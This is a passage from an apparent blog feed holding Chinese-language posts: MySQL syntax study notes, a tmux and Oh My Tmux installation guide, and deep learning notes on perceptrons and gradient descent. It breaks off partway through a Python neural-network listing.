comm</span><br><span class="line"><span class="keyword">FROM</span> employees;</span><br></pre></td></tr></table></figure><h3 id="DESCRIBE"><a href="#DESCRIBE" class="headerlink" title="DESCRIBE"></a>DESCRIBE</h3><p>查询表结构：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">DESC</span>[RIBE] tablename;</span><br></pre></td></tr></table></figure><h3 id="WHERE"><a href="#WHERE" class="headerlink" title="WHERE"></a>WHERE</h3><p><code>where</code>子句用于对查询的数据进行过滤：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span>    <span class="operator">*</span><span class="operator">|</span>&#123;[<span class="keyword">DISTINCT</span>] <span class="keyword">column</span><span class="operator">|</span>expression [alias],...&#125;</span><br><span class="line"><span class="keyword">FROM</span>    <span class="keyword">table</span>  </span><br><span class="line">[<span class="keyword">WHERE</span>    <span class="keyword">condition</span>(s)];</span><br></pre></td></tr></table></figure><p>WHERE子句紧随FROM子句，除了可以用<code>&gt;\&lt;\!=</code>等常用的比较运算符外，还可以使用下列操作符进行数据过滤：</p><div class="table-container"><table><thead><tr><th>操作符</th><th>含义</th></tr></thead><tbody><tr><td>BETWEEN…AND…</td><td>在两个值之间（包含边界）</td></tr><tr><td>IN(set)</td><td>等于值列表中的一个</td></tr><tr><td>LIKE</td><td>模糊查询</td></tr><tr><td>IS NULL</td><td>空值</td></tr></tbody></table></div><p><strong>PS</strong>:WHERE子句中不能使用别名，不能使用组函数</p><h3 id="ORDER-BY"><a href="#ORDER-BY" class="headerlink" title="ORDER BY"></a>ORDER BY</h3><p>子句<code>order by</code>用于排序<br>asc:升序<br>desc:降序</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> XXX <span class="keyword">FROM</span> XXX</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> XXX </span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> XXX <span class="keyword">FROM</span> XXX</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> XXX <span class="keyword">DESC</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*多个列排序，分主次，在前的为主*/</span></span><br><span class="line"><span class="keyword">SELECT</span> XXX <span class="keyword">FROM</span> XXX</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> XXX <span class="keyword">DESC</span>，XXX</span><br></pre></td></tr></table></figure><h3 id="组函数"><a href="#组函数" class="headerlink" title="组函数"></a>组函数</h3><p>组函数作用于一组数据，并对一组数据返回一个值。其类型有：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">AVG()</span><br><span class="line">COUNT()</span><br><span class="line">MAX()</span><br><span class="line">MIN()</span><br><span class="line">SUM()</span><br></pre></td></tr></table></figure><h3 id="GROUP-BY"><a href="#GROUP-BY" class="headerlink" title="GROUP BY"></a>GROUP BY</h3><p>GROUP BY子句将表中的数据分成若干组</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">column</span>, group_function(<span class="keyword">column</span>)  </span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">table</span></span><br><span class="line">[<span class="keyword">WHERE</span> <span class="keyword">condition</span>]</span><br><span class="line">[<span class="keyword">GROUP</span> <span class="keyword">BY</span> group_by_expression]  </span><br><span class="line">[<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">column</span>];</span><br></pre></td></tr></table></figure><h3 id="HAVING"><a href="#HAVING" class="headerlink" title="HAVING"></a>HAVING</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">column</span>, group_function(<span class="keyword">column</span>)  </span><br><span class="line"><span class="keyword">FROM</span> <span class="keyword">table</span></span><br><span class="line">[<span class="keyword">WHERE</span> <span class="keyword">condition</span>]</span><br><span class="line">[<span class="keyword">GROUP</span> <span class="keyword">BY</span> group_by_expression] </span><br><span class="line">[<span class="keyword">HAVING</span> group_condition] </span><br><span class="line">[<span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">column</span>];</span><br></pre></td></tr></table></figure><p>使用HAVING子句的几个条件：</p><ol><li>行已经被分组</li><li>使用了组函数</li><li>满足HAVING子句中条件的分组将被显示</li></ol><h3 id="JOIN-ON"><a href="#JOIN-ON" class="headerlink" title="JOIN ON"></a>JOIN ON</h3><p>多表连接，其可以有几种分类：<br>内连接：<code>[INNER] join on</code><br>外连接：<br>·<code>左外连接</code>：left [outer] join on<br>·<code>右外连接</code>：right [outer] join on</p><h2 id="常见函数"><a href="#常见函数" class="headerlink" title="常见函数"></a>常见函数</h2><h3 id="字符函数"><a href="#字符函数" class="headerlink" title="字符函数"></a>字符函数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LOWER  UPPER</span><br><span class="line"></span><br><span class="line">CONCAT  SUBSTR  LENGTH  INSTR</span><br><span class="line">LPAD | RPAD  TRIM  REPLACE</span><br></pre></td></tr></table></figure><h3 id="数字函数"><a href="#数字函数" class="headerlink" title="数字函数"></a>数字函数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ROUND: 四舍五入</span><br><span class="line">TRUNCATE:截断</span><br><span class="line">MOD: 求余</span><br></pre></td></tr></table></figure><h3 id="日期函数"><a href="#日期函数" class="headerlink" title="日期函数"></a>日期函数</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">now()：获取当前日期</span><br><span class="line">str_to_date: 将日期格式的字符转换成指定格式的日期</span><br><span class="line">date_format:将日期转换成字符</span><br></pre></td></tr></table></figure><div class="table-container"><table><thead><tr><th>序号</th><th>格式符</th><th>功能</th></tr></thead><tbody><tr><td>1</td><td>%Y</td><td>四位的年份</td></tr><tr><td>2</td><td>%y</td><td>2位的年份</td></tr><tr><td>3</td><td>%m</td><td>月份(01,02…11,12)</td></tr><tr><td>4</td><td>%c</td><td>月份（1,2,…11,12）</td></tr><tr><td>5</td><td>%d</td><td>日（01,02,…）</td></tr><tr><td>6</td><td>%H</td><td>小时（24小时制）</td></tr><tr><td>7</td><td>%h</td><td>小时（12小时制）</td></tr><tr><td>8</td><td>%i</td><td>分钟（00,01…59）</td></tr><tr><td>9</td><td>%s</td><td>秒（00,01,…59）</td></tr></tbody></table></div><h3 id="CASE表达式"><a href="#CASE表达式" class="headerlink" title="CASE表达式"></a>CASE表达式</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CASE</span> expr <span class="keyword">WHEN</span> comparison_expr1 <span class="keyword">THEN</span> return_expr1  [<span class="keyword">WHEN</span> comparison_expr2 <span class="keyword">THEN</span> return_expr2  <span class="keyword">WHEN</span> comparison_exprn <span class="keyword">THEN</span> return_exprn</span><br><span class="line"><span class="keyword">ELSE</span> else_expr]</span><br><span class="line"><span class="keyword">END</span></span><br></pre></td></tr></table></figure><h2 id="子查询"><a href="#子查询" class="headerlink" title="子查询"></a>子查询</h2><p>子查询是出现在其他语句内部的select语句。<br>单行子查询使用单行比较操作符；<br>多行子查询使用多行比较操作符；</p><h3 id="多行子查询的比较操作符"><a href="#多行子查询的比较操作符" class="headerlink" title="多行子查询的比较操作符"></a>多行子查询的比较操作符</h3><div class="table-container"><table><thead><tr><th>操作符</th><th>含义</th></tr></thead><tbody><tr><td>IN/NOT IN</td><td>等于列表中的任意一个</td></tr><tr><td>ANY SOME</td><td>和子查询返回的某一个值比较</td></tr><tr><td>ALL</td><td>和子查询返回的所有值比较</td></tr></tbody></table></div><h2 id="创建和管理表"><a href="#创建和管理表" class="headerlink" title="创建和管理表"></a>创建和管理表</h2><h3 id="CREATE-TABLE"><a href="#CREATE-TABLE" class="headerlink" title="CREATE TABLE"></a>CREATE TABLE</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> [schema.]<span class="keyword">table</span></span><br><span class="line">(<span class="keyword">column</span> datatype [<span class="keyword">DEFAULT</span> expr][, ...]);</span><br></pre></td></tr></table></figure><p>还可以使用子查询来创建表、复制现有表</p><h3 id="ALTER-TABLE"><a href="#ALTER-TABLE" class="headerlink" title="ALTER TABLE"></a>ALTER TABLE</h3><p>使用 ALTER TABLE 语句可以实现：<br>·向已有的表中添加列（ADD）<br>·修改现有表中的列（MODIFY）<br>·删除现有表中的列（DROP）<br>·重命名现有表中的列（CHANGE）</p><h3 id="删除表"><a href="#删除表" class="headerlink" title="删除表"></a>删除表</h3><p>DROP:删除数据和结够，不能回滚<br>TRUNCATE TABLE:清空表中所有的数据<br>DELETE:删除数据，可以回滚，在commit后才真正删除</p><h3 id="RENAME"><a href="#RENAME" class="headerlink" title="RENAME"></a>RENAME</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ALTER</span> <span class="keyword">table</span> dept  </span><br><span class="line">RENAME <span class="keyword">TO</span> detail_dept;  </span><br></pre></td></tr></table></figure><h2 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h2><h3 id="数值类型"><a href="#数值类型" class="headerlink" title="数值类型"></a>数值类型</h3><p>分为整型、小数、位类型</p><h3 id="字符类型"><a href="#字符类型" class="headerlink" title="字符类型"></a>字符类型</h3><p>分为char和varchar、binary和varbinary、enum和set类型</p><h3 id="日期类型"><a href="#日期类型" class="headerlink" title="日期类型"></a>日期类型</h3><p>略</p><h2 id="约束和分页"><a href="#约束和分页" class="headerlink" title="约束和分页"></a>约束和分页</h2><h3 id="约束"><a href="#约束" class="headerlink" title="约束"></a>约束</h3><p>六种约束：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">NOT NULL 非空约束，规定某个字段不能为空</span><br><span class="line">UNIQUE唯一约束，规定某个字段在整个表中是唯一的</span><br><span class="line">PRIMARY KEY 主键(非空且唯一)</span><br><span class="line">FOREIGN KEY 外键</span><br><span class="line">CHECK检查约束</span><br><span class="line">DEFAULT默认值</span><br></pre></td></tr></table></figure><h3 id="分页"><a href="#分页" class="headerlink" title="分页"></a>分页</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*9：从第几条数据的下一条数据开始取，10：取几条数据*/</span></span><br><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> employees limit <span class="number">9</span>, <span class="number">10</span>;</span><br><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> employees limit <span class="number">10</span>, <span class="keyword">offset</span> <span class="number">9</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*pageSize:每页显示多少条数据，pageNumber:页码*/</span></span><br><span class="line"><span class="comment">/*返回第pageNumber页 每条页数，为pageSize 的sql语句为：</span></span><br><span class="line"><span class="comment">select * from xxx limit (pageNmuber - 1)*pageSize, pageSize;*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*返回第5页，每页数据为20条的数据*/</span></span><br><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> employees limit <span class="number">80</span>, <span class="number">20</span>;</span><br></pre></td></tr></table></figure><h2 id="事务"><a href="#事务" class="headerlink" title="事务"></a>事务</h2><p>事务：事务由单独单元的一个或多个SQL语句组成，在这 个单元中，每个MySQL语句是相互依赖的。而整个单独单 元作为一个不可分割的整体，如果单元中某条SQL语句一 旦执行失败或产生错误，整个单元将会回滚。所有受到影 响的数据将返回到事物开始以前的状态；如果单元中的所 有SQL语句均执行成功，则事物被顺利执行。</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;假期项目MySQL学习总结&lt;/center&gt;</summary>
    
    
    
    <category term="SQL" scheme="http://askylin.top/categories/SQL/"/>
    
    
    <category term="MySQL" scheme="http://askylin.top/tags/MySQL/"/>
    
    <category term="SQL" scheme="http://askylin.top/tags/SQL/"/>
    
  </entry>
  
  <entry>
    <title>tmux+oh-my-tmux</title>
    <link href="http://askylin.top/2019/03/13/tmux-oh-my-tmux/"/>
    <id>http://askylin.top/2019/03/13/tmux-oh-my-tmux/</id>
    <published>2019-03-13T11:17:39.000Z</published>
    <updated>2021-09-20T13:17:53.889Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>tmux的官方介绍：tmux is a terminal multiplexer: it enables a number of terminals to be created, accessed, and controlled from a single screen. tmux may be detached from a screen and continue running in the background, then later reattached. 总之，tmux可以使你的终端使用体验有极大的提升，还不赶紧来试试！</p></blockquote><h1 id="安装使用"><a href="#安装使用" class="headerlink" title="安装使用"></a>安装使用</h1><p>首先给出githuib地址：<a href="https://github.com/tmux/tmux">tmux</a><br>各个系统下的安装命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">brew install tmux       <span class="comment"># OSX</span></span><br><span class="line">pacman -S tmux          <span class="comment"># archlinux</span></span><br><span class="line">apt-get install tmux    <span class="comment"># Ubuntu</span></span><br><span class="line">yum install tmux        <span class="comment"># Centos</span></span><br></pre></td></tr></table></figure><p>安装完成后，赶紧试试tmux吧：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">tmux                    <span class="comment">#默认名字启用tmux</span></span><br><span class="line">tmux new -s name        <span class="comment">#指定session的名字</span></span><br></pre></td></tr></table></figure><p>在Tmux Session中，<code>&lt;prefix&gt;</code>是tmux的前缀键，所有tmux快捷键都需要先按前缀键。它的默认值是Ctrl+b。<br>比如我们想做到把终端分成两半，如下图：</p><img src="/2019/03/13/tmux-oh-my-tmux/tmux.png" class=""><p>使用如下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;prefix&gt;%               <span class="comment">#即：先按下ctrl+b(默认前缀)，再按下shift+5(%)</span></span><br></pre></td></tr></table></figure><p>是不是很舒服？赶紧试试其他命令吧！<br>tmux更多命令详见：<a href="http://louiszhai.github.io/2017/09/30/tmux/">Tmux使用手册</a></p><h1 id="安装Oh-My-Tmux"><a href="#安装Oh-My-Tmux" class="headerlink" title="安装Oh My Tmux"></a>安装Oh My Tmux</h1><p>虽然安装了tmux，但是是不是感觉<code>ctrl + b</code>不太好按？我们可以更改tmux的配置文件来修改默认前置，但在这篇博客里不会分享，喜欢折腾的玩家请自行google解决。在这里我介绍一个已经配置好的tmux：oh my tmux。这里是它的github链接：<a href="https://github.com/gpakosz/.tmux">Oh My Tmux</a>。可以看到这个tmux界面很炫酷有木有。我们赶紧来试试吧！</p><p>安装命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/gpakosz/.tmux.git</span><br><span class="line">ln -s -f .tmux/.tmux.conf</span><br><span class="line">cp .tmux/.tmux.conf.local .</span><br></pre></td></tr></table></figure><p>重启你的终端，在使用tmux，是不是已经看到效果了？当然，如果你不满足于此，可以通过查阅官方文档来自己打造一个适合自己的tmux配置。另外tmux配合zsh也可以让你的终端看起来更漂亮，tmux还可以与vim结合起来做一个IDE。多去尝试吧！</p>]]></content>
    
    
    <summary type="html">&lt;center&gt;使用tmux让你爱上终端吧！&lt;/center&gt;</summary>
    
    
    
    <category term="Linux" scheme="http://askylin.top/categories/Linux/"/>
    
    
    <category term="Linux" scheme="http://askylin.top/tags/Linux/"/>
    
    <category term="bash" scheme="http://askylin.top/tags/bash/"/>
    
  </entry>
  
  <entry>
    <title>Deep Learning(1)</title>
    <link href="http://askylin.top/2019/02/10/DeepLearning/"/>
    <id>http://askylin.top/2019/02/10/DeepLearning/</id>
    <published>2019-02-10T14:02:00.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="Perceptrons"><a href="#Perceptrons" class="headerlink" title="Perceptrons"></a>Perceptrons</h1><p>输入x1, x2…是二进制输入，产生一个二进制输出。<br>感知器可以用作一种决策器。<br>感知器可以当作NAND门。<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">output= 0 if w⋅x+b≤0</span><br><span class="line">1 if w⋅x+b&gt;0</span><br></pre></td></tr></table></figure><br>权重或者偏差（阈值）轻微的变动会引起结果的很大的变化。<br>假设我们采用感知器（Perceptrons）网络中的所有权重和偏差，并将它们乘以正常数c，c&gt; 0。神经网络的行为不会更改。</p><hr><h1 id="Sigmoid-neurons"><a href="#Sigmoid-neurons" class="headerlink" title="Sigmoid neurons"></a>Sigmoid neurons</h1><p>输入x1, x2…在0~1之间，产生一个在0~1之间的输出。<br>sigmoid函数：σ(z)≡1/1+e^(−z), z ≡ <strong>wx</strong> + b。<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">output = 1/(1+exp(−∑jwjxj−b))</span><br><span class="line">Δoutput ≈ (∑j∂output/∂wj)Δwj+(∂output/∂b)Δb</span><br></pre></td></tr></table></figure><br>权重或者偏差（阈值）轻微的变动会引起结果较小的变化。<br>假设我们采用Sigmoid神经元网络中的所有权重和偏差，并将它们乘以正常数c，c&gt; 0。当c→∞时，神经网络的行为就是感知器网络的行为。</p><hr><h1 id="The-architecture-of-neural-networks"><a href="#The-architecture-of-neural-networks" class="headerlink" title="The architecture of neural networks"></a>The architecture of neural networks</h1><p>输入层、输入神经元<br>输出层、输出神经元<br>隐层、隐层神经元<br>前馈神经网络：前一层的输出作用于后一层的输入（没有回路）<br>递归神经网络<br>输入和输出神经元的设计通常比较简单。比如一个64x64的灰度图像是否是“9”，则输入神经元有4096个，输出神经元只有一个</p><hr><h1 id="A-simple-network-to-classify-handwritten-digits"><a href="#A-simple-network-to-classify-handwritten-digits" class="headerlink" title="A simple network to classify handwritten digits"></a>A simple network to classify handwritten digits</h1><p>启发式方法识别数字（所以直接识别0-9更容易而不是以4位二进制的方式来识别）</p><hr><h1 id="Learning-with-gradient-descent"><a href="#Learning-with-gradient-descent" class="headerlink" title="Learning with gradient descent"></a>Learning with gradient descent</h1><p>成本函数：C(w,b) ≡ 1/2n(∑x∥y(x)−a∥^2)，a是输出向量<br>成本函数值越接近0，说明输出值和拟合的输出值越接近<br>ΔC ≈ (∂C/∂v1)Δv1 + (∂C/∂v2)Δv2, Δv ≡ (Δv1,…,Δvm)^T, 梯度向量∇C ≡ (∂C/∂v1,…,∂C/∂vm)^T<br>所以 ΔC ≈ ∇C⋅Δv，令Δv = −η∇C，则 ΔC ≈ −η∇C⋅∇C = −η∥∇C∥^2，所以ΔC≤0，则梯度下降ΔC<br>更新规则：通过 v→v′=v−η∇C 来更新v（位置）值，η：学习率<br>可以证明，令 ∥Δv∥=ϵ 当 Δv = −η∇C 时，C下降的最大<br>利用梯度下降，找出最合适的w和b使成本函数值最小：使用权值和偏差代替上式的v，也就是说v有两个分量w、b，那么更新规则变为：<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">wk→w′k=wk−η∂C/∂wk</span><br><span class="line">bl→b′l=bl−η∂C/∂bl</span><br></pre></td></tr></table></figure><br>请注意，此成本函数的形式为<code>C = 1/n(ΣxCx)</code>，也就是说，它是针对个别培训样例的平均成本为 <code>Cx ≡ ∥y（x）-a∥^2</code>。实际上，为了计算梯度∇C，我们需要分别为每个训练输入x计算梯度∇Cx，然后对它们求平均值，∇C=1/nΣx∇Cx。那么当训练的输入非常多的时候，会造成神经网络的学习速度低下</p><p><strong>随机梯度下降</strong>：其思想是通过计算随机选择的训练输入的小样本的∇Cx来估计梯度∇C。通过对这个小样本进行平均，我们可以快速得到真实梯度∇C的良好估计，这有助于加快梯度下降，从而学习。即从所有样本中取一部分样本(mini-batch)进行输入，并近似的认为<br><code>[(∑m,j=1)∇CXj]/m ≈ (∑x∇Cx)/n = ∇C</code><br>我们可以通过计算随机选择的小批量的梯度来估计总梯度。<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">wk→w′k=wk−η/m(∑j∂CXj/∂wk)</span><br><span class="line">bl→b′l=bl−η/m(∑j∂CXj/∂bl)</span><br></pre></td></tr></table></figure><br>然后选择另一个随机选择的小批量进行训练。直到我们用完样本的输入，就说完成了一轮（epochs）训练。那时我们重新开始一论新的训练</p><p><strong>增量学习</strong>：将小批量的大小设定为1。那么输入一个x，就更新权重和偏差。然后重新选择另一个输入，更新权重和偏差。</p><h1 id="Implementing-our-network-to-classify-digits"><a href="#Implementing-our-network-to-classify-digits" class="headerlink" title="Implementing our network to classify digits"></a>Implementing our network to classify digits</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">network.py</span></span><br><span class="line"><span class="string">~~~~~~~~~~</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">A module to implement the stochastic gradient descent learning</span></span><br><span class="line"><span class="string">algorithm for a feedforward neural network.  Gradients are calculated</span></span><br><span class="line"><span class="string">using backpropagation.  Note that I have focused on making the code</span></span><br><span class="line"><span class="string">simple, easily readable, and easily modifiable.  It is not optimized,</span></span><br><span class="line"><span class="string">and omits many desirable features.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#### Libraries</span></span><br><span class="line"><span class="comment"># Standard library</span></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="comment"># Third-party libraries</span></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Network</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, sizes</span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;The list ``sizes`` contains the number of neurons in the</span></span><br><span class="line"><span class="string">        respective layers of the network.  For example, if the list</span></span><br><span class="line"><span class="string">        was [2, 3, 1] then it would be a three-layer network, with the</span></span><br><span class="line"><span class="string">        first layer containing 2 neurons, the second layer 3 neurons,</span></span><br><span class="line"><span class="string">        and the third layer 1 neuron.  The biases and weights for the</span></span><br><span class="line"><span class="string">        network are initialized randomly, using a Gaussian</span></span><br><span class="line"><span class="string">        distribution with mean 0, and variance 1.  Note that the first</span></span><br><span class="line"><span class="string">        layer is assumed to be an input layer, and by convention we</span></span><br><span class="line"><span class="string">        won&#x27;t set any biases for those neurons, since biases are only</span></span><br><span class="line"><span class="string">        ever used in computing the outputs from later layers.&quot;&quot;&quot;</span></span><br><span class="line">        self.num_layers = <span class="built_in">len</span>(sizes)</span><br><span class="line">        self.sizes = sizes</span><br><span class="line">        self.biases = [np.random.randn(y, <span class="number">1</span>) <span class="keyword">for</span> y <span class="keyword">in</span> sizes[<span class="number">1</span>:]]</span><br><span class="line">        self.weights = [np.random.randn(y, x)</span><br><span class="line">                        <span class="keyword">for</span> x, y <span class="keyword">in</span> <span class="built_in">zip</span>(sizes[:-<span class="number">1</span>], sizes[<span class="number">1</span>:])]</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">feedforward</span>(<span class="params">self, a</span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;Return the output of the network if ``a`` is input.&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> b, w <span class="keyword">in</span> <span class="built_in">zip</span>(self.biases, self.weights):</span><br><span class="line">            a = sigmoid(np.dot(w, a)+b)</span><br><span class="line">        <span class="keyword">return</span> a</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">SGD</span>(<span class="params">self, training_data, epochs, mini_batch_size, eta,</span></span></span><br><span class="line"><span class="params"><span class="function">            test_data=<span class="literal">None</span></span>):</span></span><br><span class="line">        <span class="string">&quot;&quot;&quot;Train the neural network using mini-batch stochastic</span></span><br><span class="line"><span class="string">        gradient descent.  The ``training_data`` is a list of tuples</span></span><br><span class="line"><span class="string">        ``(x, y)`` representing the training inputs and the desired</span></span><br><span class="line"><span class="string">        outputs.  The other non-optional parameters are</span></span><br><span class="line"><span class="string">        self-explanatory.  If ``test_data`` is provided then the</span></span><br><span class="line"><span class="string">        network will be evaluated against the test data after each</span></span><br><span class="line"><span class="string">        epoch, and partial progress printed out.  This is useful for</span></span><br><span 